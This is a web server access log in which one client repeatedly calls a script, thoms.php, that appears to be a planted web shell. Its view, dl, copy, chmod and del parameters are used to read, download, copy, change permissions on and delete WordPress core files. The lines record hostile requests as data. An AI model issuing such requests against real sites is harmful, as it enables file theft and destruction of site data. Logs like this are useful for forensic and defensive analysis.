45.135.193.11 - - [11/Sep/2026:23:23:03 -0400] "GET /thoms.php?chmod=class-wp-url-pattern-prefixer.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11543 "http://163.245.207.76:443/thoms.php?chmod=class-wp-url-pattern-prefixer.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:03 -0400] "GET /thoms.php?p=big-wife.com.tw%2Fwp-includes&view=class-wp-widget.php HTTP/1.1" 200 17277 "http://163.245.207.76:443/thoms.php?p=big-wife.com.tw%2Fwp-includes&view=class-wp-widget.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:03 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Fregistration-functions.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11893 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Fregistration-functions.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:03 -0400] "GET /big-wife.com.tw/wp-includes/php-compat/ HTTP/1.1" 200 794 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:03 -0400] "GET /thoms.php?p=big-wife.com.tw%2Fwp-includes%2Fjs HTTP/1.1" 200 30671 "http://163.245.207.76:443/thoms.php?p=big-wife.com.tw%2Fwp-includes%2Fjs" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:03 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Fsodium_compat&p= HTTP/1.1" 200 12311 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Fsodium_compat&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:03 -0400] "GET /thoms.php?del=block-patterns&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59383 "http://163.245.207.76:443/thoms.php?del=block-patterns&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:03 -0400] "GET /thoms.php?del=rest-api&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59384 "http://163.245.207.76:443/thoms.php?del=rest-api&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:03 -0400] "GET /big-wife.com.tw/wp-includes/class-wp-block-parser-block.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:03 -0400] "GET /thoms.php?del=class-wp-recovery-mode-email-service.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59390 "http://163.245.207.76:443/thoms.php?del=class-wp-recovery-mode-email-service.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:03 -0400] "GET /thoms.php?del=class-wp-term-query.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59378 "http://163.245.207.76:443/thoms.php?del=class-wp-term-query.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:03 -0400] "GET /thoms.php?del=functions.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59382 "http://163.245.207.76:443/thoms.php?del=functions.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:04 -0400] "GET /thoms.php?dl=class-wp-editor.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59399 "http://163.245.207.76:443/thoms.php?dl=class-wp-editor.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:04 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Fms-blogs.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11871 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Fms-blogs.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:04 -0400] "GET /thoms.php?p=big-wife.com.tw%2Fwp-includes&view=ms-load.php HTTP/1.1" 200 19185 "http://163.245.207.76:443/thoms.php?p=big-wife.com.tw%2Fwp-includes&view=ms-load.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:04 -0400] "GET /thoms.php?del=class-wp-simplepie-file.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59417 "http://163.245.207.76:443/thoms.php?del=class-wp-simplepie-file.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:04 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Fpomo&p= HTTP/1.1" 200 12313 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Fpomo&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:05 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Fclass-wp-dependency.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11894 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Fclass-wp-dependency.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:05 -0400] "GET /thoms.php?p=big-wife.com.tw%2Fwp-includes&view=class-wp-text-diff-renderer-inline.php HTTP/1.1" 200 12414 "http://163.245.207.76:443/thoms.php?p=big-wife.com.tw%2Fwp-includes&view=class-wp-text-diff-renderer-inline.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:04 -0400] "GET /thoms.php?del=post-thumbnail-template.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59382 "http://163.245.207.76:443/thoms.php?del=post-thumbnail-template.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:04 -0400] "GET /thoms.php?dl=session.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59383 "http://163.245.207.76:443/thoms.php?dl=session.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:05 -0400] "GET /big-wife.com.tw/wp-includes/block-patterns/ HTTP/1.1" 200 1511 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:05 -0400] "GET /thoms.php?chmod=class-avif-info.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11524 "http://163.245.207.76:443/thoms.php?chmod=class-avif-info.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:05 -0400] "GET /big-wife.com.tw/wp-includes/class-phpass.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:05 -0400] "GET /thoms.php?dl=spl-autoload-compat.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59372 "http://163.245.207.76:443/thoms.php?dl=spl-autoload-compat.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:05 -0400] "GET /thoms.php?chmod=class-wp-text-diff-renderer-table.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11544 "http://163.245.207.76:443/thoms.php?chmod=class-wp-text-diff-renderer-table.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:05 -0400] "GET /thoms.php?p=big-wife.com.tw%2Fwp-includes&view=formatting.php HTTP/1.1" 200 100302 "http://163.245.207.76:443/thoms.php?p=big-wife.com.tw%2Fwp-includes&view=formatting.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:05 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Fclass-walker-category-dropdown.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11898 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Fclass-walker-category-dropdown.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:05 -0400] "GET /big-wife.com.tw/wp-includes/style-engine.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:05 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Fclass-wp-customize-panel.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11896 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Fclass-wp-customize-panel.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:06 -0400] "GET /thoms.php?p=big-wife.com.tw%2Fwp-includes&view=compat-utf8.php HTTP/1.1" 200 18265 "http://163.245.207.76:443/thoms.php?p=big-wife.com.tw%2Fwp-includes&view=compat-utf8.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:06 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Fms-network.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11887 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Fms-network.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:06 -0400] "GET /thoms.php?chmod=class-IXR.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11525 "http://163.245.207.76:443/thoms.php?chmod=class-IXR.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:06 -0400] "GET /big-wife.com.tw/wp-includes/class.wp-dependencies.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:06 -0400] "GET /thoms.php?chmod=class-wp-recovery-mode-email-service.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11552 "http://163.245.207.76:443/thoms.php?chmod=class-wp-recovery-mode-email-service.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:06 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Fclass-wp-theme-json-schema.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11898 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Fclass-wp-theme-json-schema.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:06 -0400] "GET /big-wife.com.tw/wp-includes/abilities.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:06 -0400] "GET /thoms.php?p=big-wife.com.tw%2Fwp-includes&view=class-json.php HTTP/1.1" 200 22295 "http://163.245.207.76:443/thoms.php?p=big-wife.com.tw%2Fwp-includes&view=class-json.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:06 -0400] "GET /thoms.php?del=class-wp-date-query.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59383 "http://163.245.207.76:443/thoms.php?del=class-wp-date-query.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:06 -0400] "GET /thoms.php?chmod=class-wp-http-encoding.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11541 "http://163.245.207.76:443/thoms.php?chmod=class-wp-http-encoding.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:06 -0400] "GET /thoms.php?chmod=class-wp-http-ixr-client.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11543 "http://163.245.207.76:443/thoms.php?chmod=class-wp-http-ixr-client.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:06 -0400] "GET /thoms.php?p=big-wife.com.tw%2Fwp-includes&view=class-wp-icon-collections-registry.php HTTP/1.1" 200 13636 "http://163.245.207.76:443/thoms.php?p=big-wife.com.tw%2Fwp-includes&view=class-wp-icon-collections-registry.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:06 -0400] "GET /thoms.php?p=big-wife.com.tw%2Fwp-includes&view=feed.php HTTP/1.1" 200 19815 "http://163.245.207.76:443/thoms.php?p=big-wife.com.tw%2Fwp-includes&view=feed.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:07 -0400] "GET /thoms.php?chmod=block-bindings.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11540 "http://163.245.207.76:443/thoms.php?chmod=block-bindings.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:06 -0400] "GET /thoms.php?dl=class-wp-speculation-rules.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59383 "http://163.245.207.76:443/thoms.php?dl=class-wp-speculation-rules.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:06 -0400] "GET /thoms.php?del=functions.wp-scripts.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59381 "http://163.245.207.76:443/thoms.php?del=functions.wp-scripts.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:07 -0400] "GET /thoms.php?dl=abilities.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59382 "http://163.245.207.76:443/thoms.php?dl=abilities.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:07 -0400] "GET /big-wife.com.tw/wp-includes/meta.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:07 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Fclass.wp-scripts.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11890 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Fclass.wp-scripts.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:07 -0400] "GET /thoms.php?dl=class-wp-recovery-mode-key-service.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59373 "http://163.245.207.76:443/thoms.php?dl=class-wp-recovery-mode-key-service.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:07 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Frobots-template.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11877 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Frobots-template.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:07 -0400] "GET /thoms.php?del=class-wp-rewrite.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59371 "http://163.245.207.76:443/thoms.php?del=class-wp-rewrite.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:08 -0400] "GET /big-wife.com.tw/wp-includes/class-oembed.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:07 -0400] "GET /thoms.php?dl=option.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59383 "http://163.245.207.76:443/thoms.php?dl=option.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:08 -0400] "GET /thoms.php?chmod=php-compat&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11515 "http://163.245.207.76:443/thoms.php?chmod=php-compat&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:08 -0400] "GET /thoms.php?p=big-wife.com.tw%2Fwp-includes&view=version.php HTTP/1.1" 200 12363 "http://163.245.207.76:443/thoms.php?p=big-wife.com.tw%2Fwp-includes&view=version.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:08 -0400] "GET /big-wife.com.tw/wp-includes/class-wp-http-cookie.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:08 -0400] "GET /thoms.php?dl=class-wp-user-request.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59384 "http://163.245.207.76:443/thoms.php?dl=class-wp-user-request.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:08 -0400] "GET /thoms.php?del=ai-client&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59386 "http://163.245.207.76:443/thoms.php?del=ai-client&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:08 -0400] "GET /thoms.php?del=class-wp-http-response.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59385 "http://163.245.207.76:443/thoms.php?del=class-wp-http-response.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:08 -0400] "GET /thoms.php?dl=class-wp-plugin-dependencies.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59384 "http://163.245.207.76:443/thoms.php?dl=class-wp-plugin-dependencies.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:09 -0400] "GET /thoms.php?chmod=l10n.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11523 "http://163.245.207.76:443/thoms.php?chmod=l10n.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:09 -0400] "GET /thoms.php?del=global-styles-and-settings.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59377 "http://163.245.207.76:443/thoms.php?del=global-styles-and-settings.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:09 -0400] "GET /big-wife.com.tw/wp-includes/abilities-api/ HTTP/1.1" 200 905 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:09 -0400] "GET /thoms.php?chmod=class-wp-block-template.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11538 "http://163.245.207.76:443/thoms.php?chmod=class-wp-block-template.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:09 -0400] "GET /thoms.php?del=ms-network.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59377 "http://163.245.207.76:443/thoms.php?del=ms-network.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:09 -0400] "GET /thoms.php?del=blocks.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59338 "http://163.245.207.76:443/thoms.php?del=blocks.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:09 -0400] "GET /thoms.php?chmod=class-wp-editor.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11535 "http://163.245.207.76:443/thoms.php?chmod=class-wp-editor.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:09 -0400] "GET /thoms.php?del=class-wp-customize-control.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59381 "http://163.245.207.76:443/thoms.php?del=class-wp-customize-control.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:10 -0400] "GET /big-wife.com.tw/wp-includes/build/ HTTP/1.1" 200 1289 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:10 -0400] "GET /thoms.php?chmod=pluggable-deprecated.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11540 "http://163.245.207.76:443/thoms.php?chmod=pluggable-deprecated.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
